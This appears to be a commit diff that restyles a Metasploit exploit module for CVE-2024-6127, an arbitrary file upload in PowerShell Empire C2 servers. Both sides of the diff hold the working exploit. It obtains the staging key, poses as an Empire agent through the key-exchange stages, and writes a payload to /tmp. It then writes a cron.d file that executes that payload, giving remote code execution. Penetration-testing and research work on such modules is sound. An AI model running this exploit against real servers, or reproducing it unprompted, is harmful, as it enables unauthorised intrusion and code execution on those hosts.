@@ -19,53 +19,52 @@ class MetasploitModule < Msf::Exploit::Remote
19
19
TASK_DOWNLOAD = 41
20
20
21
21
def initialize ( info = { } )
22
- super ( update_info ( info ,
23
- 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)' ,
24
- 'Description' => %q{
25
- A vulnerability existed in
26
- the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or
27
- the original PowerShellEmpire server prior to commit f030cf62
28
- which would allow an arbitrary file to be written to an
29
- attacker controlled location with the permissions of the Empire server.
30
-
31
- This exploit will write the payload to /tmp/ directory followed by a
32
- cron.d file to execute the payload.
33
- } ,
34
- 'Author' =>
35
- [
36
- 'Spencer McIntyre' , # Vulnerability discovery & original Metasploit module
22
+ super (
23
+ update_info (
24
+ info ,
25
+ 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)' ,
26
+ 'Description' => %q{
27
+ A vulnerability existed in
28
+ the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or
29
+ the original PowerShellEmpire server prior to commit f030cf62
30
+ which would allow an arbitrary file to be written to an
31
+ attacker controlled location with the permissions of the Empire server.
32
+
33
+ This exploit will write the payload to /tmp/ directory followed by a
34
+ cron.d file to execute the payload.
35
+ } ,
36
+ 'Author' => [
37
+ 'Spencer McIntyre' , # Vulnerability discovery & original Metasploit module
37
38
'Erik Daguerre' , # Original Metasploit module
38
39
'ACE-Responder' , # Patch bypass discovery & Python PoC
39
40
'Takahiro Yokoyama' # Update Metasploit module
40
41
] ,
41
- 'License' => MSF_LICENSE ,
42
- 'References' => [
43
- [ 'CVE' , '2024-6127' ] , # patch bypass
44
- [ 'URL' , 'https://blog.harmj0y.net/empire/empire-fails/' ] , # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
45
- [ 'URL' , 'https://aceresponder.com/blog/exploiting-empire-c2-framework' ] , # patch bypass
46
- [ 'URL' , 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main' ] # patch bypass
47
- ] ,
48
- 'Payload' =>
49
- {
50
- 'DisableNops' => true ,
42
+ 'License' => MSF_LICENSE ,
43
+ 'References' => [
44
+ [ 'CVE' , '2024-6127' ] , # patch bypass
45
+ [ 'URL' , 'https://blog.harmj0y.net/empire/empire-fails/' ] , # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
46
+ [ 'URL' , 'https://aceresponder.com/blog/exploiting-empire-c2-framework' ] , # patch bypass
47
+ [ 'URL' , 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main' ] # patch bypass
48
+ ] ,
49
+ 'Payload' => {
50
+ 'DisableNops' => true
51
51
} ,
52
- 'Platform' => %w{ linux python } ,
53
- 'Targets' =>
54
- [
52
+ 'Platform' => %w[ linux python ] ,
53
+ 'Targets' => [
55
54
[ 'Python' , { 'Arch' => ARCH_PYTHON , 'Platform' => 'python' } ] ,
56
55
[ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ] ,
57
56
[ 'Linux x64' , { 'Arch' => ARCH_X64 , 'Platform' => 'linux' } ]
58
57
] ,
59
- 'DefaultOptions' => { 'WfsDelay' => 75 } ,
60
- 'DefaultTarget' => 0 ,
61
- 'DisclosureDate' => '2016-10-15' ,
62
- 'Notes' =>
63
- {
64
- 'Stability' => [ CRASH_SAFE , ] ,
58
+ 'DefaultOptions' => { 'WfsDelay' => 75 } ,
59
+ 'DefaultTarget' => 0 ,
60
+ 'DisclosureDate' => '2016-10-15' ,
61
+ 'Notes' => {
62
+ 'Stability' => [ CRASH_SAFE , ] ,
65
63
'SideEffects' => [ ARTIFACTS_ON_DISK , ] ,
66
- 'Reliability' => [ REPEATABLE_SESSION , ] ,
67
- } ,
68
- ) )
64
+ 'Reliability' => [ REPEATABLE_SESSION , ]
65
+ }
66
+ )
67
+ )
69
68
70
69
register_options (
71
70
[
@@ -79,7 +78,8 @@ def initialize(info = {})
79
78
OptEnum . new ( 'CVE' , [ true , 'The vulnerability to use' , 'CVE-2024-6127' , [ 'CVE-2024-6127' , 'Original' ] ] ) ,
80
79
OptString . new ( 'STAGE_PATH' , [ true , 'The Empire\'s staging path, default is login/process.php' , 'login/process.php' ] ) ,
81
80
OptString . new ( 'AGENT' , [ true , 'The Empire\'s communication profile agent' , 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' ] )
82
- ] )
81
+ ]
82
+ )
83
83
end
84
84
85
85
def check
@@ -88,7 +88,7 @@ def check
88
88
Exploit ::CheckCode ::Appears
89
89
end
90
90
91
- def aes_encrypt ( key , data , include_mac = false )
91
+ def aes_encrypt ( key , data , include_mac : false )
92
92
cipher = OpenSSL ::Cipher . new ( 'aes-256-cbc' )
93
93
cipher . encrypt
94
94
iv = cipher . random_iv
@@ -102,8 +102,8 @@ def aes_encrypt(key, data, include_mac=false)
102
102
data
103
103
end
104
104
105
- def create_packet ( res_id , data , counter = nil )
106
- data = Rex ::Text :: encode_base64 ( data )
105
+ def create_packet ( res_id , data , counter = nil )
106
+ data = Rex ::Text . encode_base64 ( data )
107
107
counter = Time . new . to_i if counter . nil?
108
108
109
109
[ res_id , counter , data . length ] . pack ( 'VVV' ) + data
@@ -112,53 +112,55 @@ def create_packet(res_id, data, counter=nil)
112
112
def reversal_key
113
113
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
114
114
[
115
- [ 160 , 0x3d ] , [ 33 , 0x2c ] , [ 34 , 0x24 ] , [ 195 , 0x3d ] , [ 260 , 0x3b ] , [ 37 , 0x2c ] , [ 38 , 0x24 ] , [ 199 , 0x2d ] ,
116
- [ 8 , 0x20 ] , [ 41 , 0x3d ] , [ 42 , 0x22 ] , [ 139 , 0x22 ] , [ 108 , 0x2e ] , [ 173 , 0x2e ] , [ 14 , 0x2d ] , [ 47 , 0x29 ] ,
117
- [ 272 , 0x5d ] , [ 113 , 0x3b ] , [ 82 , 0x3b ] , [ 51 , 0x2d ] , [ 276 , 0x2e ] , [ 213 , 0x2e ] , [ 86 , 0x2d ] , [ 183 , 0x3a ] ,
118
- [ 24 , 0x7b ] , [ 57 , 0x2d ] , [ 282 , 0x20 ] , [ 91 , 0x20 ] , [ 92 , 0x2d ] , [ 157 , 0x3b ] , [ 30 , 0x28 ] , [ 31 , 0x24 ]
115
+ [ 160 , 0x3d ] , [ 33 , 0x2c ] , [ 34 , 0x24 ] , [ 195 , 0x3d ] , [ 260 , 0x3b ] , [ 37 , 0x2c ] , [ 38 , 0x24 ] , [ 199 , 0x2d ] ,
116
+ [ 8 , 0x20 ] , [ 41 , 0x3d ] , [ 42 , 0x22 ] , [ 139 , 0x22 ] , [ 108 , 0x2e ] , [ 173 , 0x2e ] , [ 14 , 0x2d ] , [ 47 , 0x29 ] ,
117
+ [ 272 , 0x5d ] , [ 113 , 0x3b ] , [ 82 , 0x3b ] , [ 51 , 0x2d ] , [ 276 , 0x2e ] , [ 213 , 0x2e ] , [ 86 , 0x2d ] , [ 183 , 0x3a ] ,
118
+ [ 24 , 0x7b ] , [ 57 , 0x2d ] , [ 282 , 0x20 ] , [ 91 , 0x20 ] , [ 92 , 0x2d ] , [ 157 , 0x3b ] , [ 30 , 0x28 ] , [ 31 , 0x24 ]
119
119
]
120
120
end
121
121
122
122
def rsa_encode_int ( value )
123
123
encoded = [ ]
124
- while value > 0 do
124
+ while value > 0
125
125
encoded << ( value & 0xff )
126
126
value >>= 8
127
127
end
128
128
129
- Rex ::Text :: encode_base64 ( encoded . reverse . pack ( 'C*' ) )
129
+ Rex ::Text . encode_base64 ( encoded . reverse . pack ( 'C*' ) )
130
130
end
131
131
132
132
def rsa_key_to_xml ( rsa_key )
133
- rsa_key_xml = "<RSAKeyValue>\n "
134
- rsa_key_xml << " <Exponent>#{ rsa_encode_int ( rsa_key . e . to_i ) } </Exponent>\n "
135
- rsa_key_xml << " <Modulus>#{ rsa_encode_int ( rsa_key . n . to_i ) } </Modulus>\n "
136
- rsa_key_xml << " </RSAKeyValue>"
133
+ rsa_key_xml = "<RSAKeyValue>\n "
134
+ rsa_key_xml << " <Exponent>#{ rsa_encode_int ( rsa_key . e . to_i ) } </Exponent>\n "
135
+ rsa_key_xml << " <Modulus>#{ rsa_encode_int ( rsa_key . n . to_i ) } </Modulus>\n "
136
+ rsa_key_xml << ' </RSAKeyValue>'
137
137
138
138
rsa_key_xml
139
139
end
140
140
141
141
def get_staging_key
142
142
# patch bypass
143
143
if datastore [ 'CVE' ] == 'CVE-2024-6127'
144
- res = send_request_cgi ( {
145
- 'method' => 'GET' ,
146
- 'uri' => normalize_uri ( target_uri . path , 'download/python/' )
147
- } )
148
- return unless res and res . code == 200
149
- match = /IV\+ \' (.*)\' \. encode/ . match ( res . body )
150
- return match [ 1 ] . bytes if match
151
- return
144
+ res = send_request_cgi ( {
145
+ 'method' => 'GET' ,
146
+ 'uri' => normalize_uri ( target_uri . path , 'download/python/' )
147
+ } )
148
+ return unless res && res . code == 200
149
+
150
+ match = /IV\+ '(.*)'\. encode/ . match ( res . body )
151
+ return match [ 1 ] . bytes if match
152
+
153
+ return
152
154
end
153
155
154
156
# STAGE0_URI resource requested by the initial launcher
155
157
# The default STAGE0_URI resource is index.asp
156
158
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
157
159
res = send_request_cgi ( {
158
- 'method' => 'GET' ,
159
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE0_URI' ] )
160
+ 'method' => 'GET' ,
161
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE0_URI' ] )
160
162
} )
161
- return unless res and res . code == 200
163
+ return unless res && res . code == 200
162
164
163
165
staging_key = Array . new ( 32 , nil )
164
166
staging_data = res . body . bytes
@@ -194,24 +196,24 @@ def write_file(path, data, session_id, session_key, opts)
194
196
[
195
197
'0' ,
196
198
session_id + path ,
197
- Rex ::Text :: encode_base64 ( data )
199
+ Rex ::Text . encode_base64 ( data )
198
200
] . join ( '|' ) ,
199
201
server_epoch
200
202
)
201
203
202
204
if datastore [ 'PROFILE' ] . blank?
203
- profile_uri = normalize_uri ( target_uri . path , %w{ admin/get.php news.asp login/process.jsp } . sample )
205
+ profile_uri = normalize_uri ( target_uri . path , %w[ admin/get.php news.asp login/process.jsp ] . sample )
204
206
else
205
207
profile_uri = normalize_uri ( target_uri . path , datastore [ 'PROFILE' ] )
206
208
end
207
209
208
210
res = send_request_cgi ( {
209
- 'cookie' => "SESSIONID=#{ session_id } " ,
210
- 'data' => aes_encrypt ( session_key , data , include_mac = true ) ,
211
- 'method' => 'POST' ,
212
- 'uri' => normalize_uri ( profile_uri )
211
+ 'cookie' => "SESSIONID=#{ session_id } " ,
212
+ 'data' => aes_encrypt ( session_key , data , include_mac : true ) ,
213
+ 'method' => 'POST' ,
214
+ 'uri' => normalize_uri ( profile_uri )
213
215
} )
214
- fail_with ( Failure ::Unknown , " Failed to write file" ) unless res and res . code == 200
216
+ fail_with ( Failure ::Unknown , ' Failed to write file' ) unless res && res . code == 200
215
217
216
218
res
217
219
end
@@ -246,31 +248,31 @@ def exploit
246
248
247
249
# stage1
248
250
private_key = SecureRandom . hex ( KEYLENGTH ) . hex
249
- public_key = GENERATOR . pow ( private_key , PRIME ) . to_s . encode ( " UTF-8" )
251
+ public_key = GENERATOR . pow ( private_key , PRIME ) . to_s . encode ( ' UTF-8' )
250
252
res = send_data_to_stage ( staging_key , public_key , staging_key , STAGE1 , session_id )
251
- fail_with ( Failure ::Unknown , 'Failed to send the key to STAGE1' ) unless res and res . code == 200
252
- vprint_good ( " Successfully sent the key to STAGE1" )
253
+ fail_with ( Failure ::Unknown , 'Failed to send the key to STAGE1' ) unless res && res . code == 200
254
+ vprint_good ( ' Successfully sent the key to STAGE1' )
253
255
254
256
# decrypt the response and pull out the epoch and session_key
255
257
packet = aes_decrypt ( staging_key , res . body )
256
258
nonce = packet [ ..15 ] . to_i
257
259
server_pub = packet [ 16 ..] . to_i
258
- sharedSecret = server_pub . pow ( private_key , PRIME )
260
+ shared_secret = server_pub . pow ( private_key , PRIME )
259
261
# https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
260
262
# _sharedSecretBytes = self.sharedSecret.to_bytes(
261
263
# len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
262
264
# )
263
265
# 2(0b) + 1(- 2 // 8 + 1) = 3
264
- _sharedSecret = to_bytes ( sharedSecret , sharedSecret . to_s ( 2 ) . length + 3 , little_endian = false )
266
+ shared_secret = to_bytes ( shared_secret , shared_secret . to_s ( 2 ) . length + 3 )
265
267
sha = OpenSSL ::Digest . new ( 'sha256' )
266
- sha . update ( _sharedSecret )
268
+ sha . update ( shared_secret )
267
269
session_key = sha . digest
268
270
print_good ( 'Successfully negotiated an artificial Empire agent' )
269
271
270
272
# stage2
271
- sysinfo = "#{ nonce + 1 } |#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } ||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64" . encode ( " UTF-8" )
273
+ sysinfo = "#{ nonce + 1 } |#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } ||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64" . encode ( ' UTF-8' )
272
274
res = send_data_to_stage ( session_key , sysinfo , staging_key , STAGE2 , session_id )
273
- fail_with ( Failure ::Unknown , " Failed to communicate with STAGE2" ) unless res and res . code == 200
275
+ fail_with ( Failure ::Unknown , ' Failed to communicate with STAGE2' ) unless res && res . code == 200
274
276
aes_decrypt ( session_key , res . body )
275
277
276
278
opts = { staging_key : staging_key }
@@ -283,18 +285,18 @@ def exploit
283
285
# The default STAGE1_URI resource is index.jsp
284
286
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
285
287
res = send_request_cgi ( {
286
- 'cookie' => "SESSIONID=#{ session_id } " ,
287
- 'data' => aes_encrypt ( staging_key , rsa_key_to_xml ( rsa_key ) ) ,
288
- 'method' => 'POST' ,
289
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE1_URI' ] )
288
+ 'cookie' => "SESSIONID=#{ session_id } " ,
289
+ 'data' => aes_encrypt ( staging_key , rsa_key_to_xml ( rsa_key ) ) ,
290
+ 'method' => 'POST' ,
291
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE1_URI' ] )
290
292
} )
291
- fail_with ( Failure ::Unknown , 'Failed to send the RSA key' ) unless res and res . code == 200
292
- vprint_good ( " Successfully sent the RSA key" )
293
+ fail_with ( Failure ::Unknown , 'Failed to send the RSA key' ) unless res && res . code == 200
294
+ vprint_good ( ' Successfully sent the RSA key' )
293
295
294
296
# decrypt the response and pull out the epoch and session_key
295
297
body = rsa_key . private_decrypt ( res . body )
296
298
server_epoch = body [ 0 ..9 ] . to_i
297
- session_key = body [ 10 ..- 1 ]
299
+ session_key = body [ 10 ..]
298
300
print_good ( 'Successfully negotiated an artificial Empire agent' )
299
301
300
302
opts = { server_epoch : server_epoch }
@@ -323,7 +325,7 @@ def exploit
323
325
print_status ( "Writing cron job to #{ cron_path } " )
324
326
325
327
write_file ( cron_path , cron_file ( cron_command ) , session_id , session_key , opts )
326
- print_status ( " Waiting for cron job to run, can take up to 60 seconds" )
328
+ print_status ( ' Waiting for cron job to run, can take up to 60 seconds' )
327
329
328
330
register_files_for_cleanup ( cron_path )
329
331
register_files_for_cleanup ( payload_path )
@@ -341,7 +343,7 @@ def build_routing_packet(staging_key, meta = 0, enc_data = ''.b, session_id = '0
341
343
end
342
344
343
345
def aes_encrypt_then_hmac ( key , data )
344
- data = aes_encrypt ( key , data , include_mac = false )
346
+ data = aes_encrypt ( key , data )
345
347
mac = OpenSSL ::HMAC . digest ( OpenSSL ::Digest . new ( 'sha256' ) , key , data )
346
348
data + mac [ ..9 ]
347
349
end
@@ -351,11 +353,12 @@ def aes_decrypt(key, data)
351
353
sha256_digest = OpenSSL ::Digest . new ( 'sha256' )
352
354
expected = OpenSSL ::HMAC . digest ( sha256_digest , key , data [ ..-11 ] ) [ ..9 ]
353
355
unless OpenSSL ::HMAC . digest ( sha256_digest , key , mac ) == OpenSSL ::HMAC . digest ( sha256_digest , key , expected )
354
- raise " Invalid ciphertext received."
356
+ raise ' Invalid ciphertext received.'
355
357
end
356
358
357
359
size = key . length * 8
358
- raise ArgumentError . new ( 'AES key width must be 128 or 256 bits' ) unless ( size == 128 || size == 256 )
360
+ fail_with ( Failure ::Unknown , 'AES key width must be 128 or 256 bits' ) unless size == 128 || size == 256
361
+
359
362
# Create the required cipher instance
360
363
aes = OpenSSL ::Cipher . new ( "AES-#{ size } -CBC" )
361
364
# Generate a truly random IV
@@ -372,31 +375,30 @@ def aes_decrypt(key, data)
372
375
def compress ( data )
373
376
start_crc32 = Zlib . crc32 ( data ) & 0xFFFFFFFF
374
377
comp_data = Zlib ::Deflate . deflate ( data )
375
- Base64 . strict_encode64 ( [ start_crc32 ] . pack ( "N" ) + comp_data )
378
+ Base64 . strict_encode64 ( [ start_crc32 ] . pack ( 'N' ) + comp_data )
376
379
end
377
380
378
381
def build_response_packet ( tasking_id , packet_data )
379
- packetType = [ tasking_id ] . pack ( "S" )
380
- totalPacket = [ 1 ] . pack ( "S" )
381
- packetNum = [ 1 ] . pack ( "S" )
382
- result_id = [ 1 ] . pack ( "S" )
382
+ packet_type = [ tasking_id ] . pack ( 'S' )
383
+ total_packet = [ 1 ] . pack ( 'S' )
384
+ packet_num = [ 1 ] . pack ( 'S' )
385
+ result_id = [ 1 ] . pack ( 'S' )
383
386
packet_data = Base64 . strict_encode64 ( packet_data )
384
387
if packet_data . length % 4 != 0
385
- packet_data += "=" * ( 4 - packet_data . length % 4 )
388
+ packet_data += '=' * ( 4 - packet_data . length % 4 )
386
389
end
387
- length = [ packet_data . length ] . pack ( "L" )
388
- packetType + totalPacket + packetNum + result_id + length + packet_data
390
+ length = [ packet_data . length ] . pack ( 'L' )
391
+ packet_type + total_packet + packet_num + result_id + length + packet_data
389
392
end
390
393
391
- def to_bytes ( n , length = 1 , little_endian = false )
394
+ def to_bytes ( num , length = 1 , little_endian : false )
392
395
order = little_endian ? ( 0 ...length ) : ( 0 ...length ) . to_a . reverse
393
- bytes_array = order . map { |i | ( n >> i * 8 ) & 0xff }
396
+ bytes_array = order . map { |i | ( num >> i * 8 ) & 0xff }
394
397
bytes_array . pack ( 'C*' )
395
398
end
396
399
397
400
def write_file_cve_2024_6127 ( path , data , session_id , session_key , staging_key )
398
- path = path . split ( "/" ) . join ( "\\ " )
399
- encodedPart = compress ( data )
401
+ path = path . split ( '/' ) . join ( '\\' )
400
402
packet = build_response_packet (
401
403
TASK_DOWNLOAD ,
402
404
[
@@ -413,10 +415,10 @@ def send_data_to_stage(session_key, packet, staging_key, task_id, session_id)
413
415
enc_packet = aes_encrypt_then_hmac ( session_key , packet )
414
416
data = build_routing_packet ( staging_key , task_id , enc_packet , session_id )
415
417
res = send_request_cgi ( {
416
- 'data' => data ,
417
- 'method' => 'POST' ,
418
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
419
- 'headers' => { 'Cookie' => datastore [ 'AGENT' ] }
418
+ 'data' => data ,
419
+ 'method' => 'POST' ,
420
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
421
+ 'headers' => { 'Cookie' => datastore [ 'AGENT' ] }
420
422
} )
421
423
res
422
424
end
0 commit comments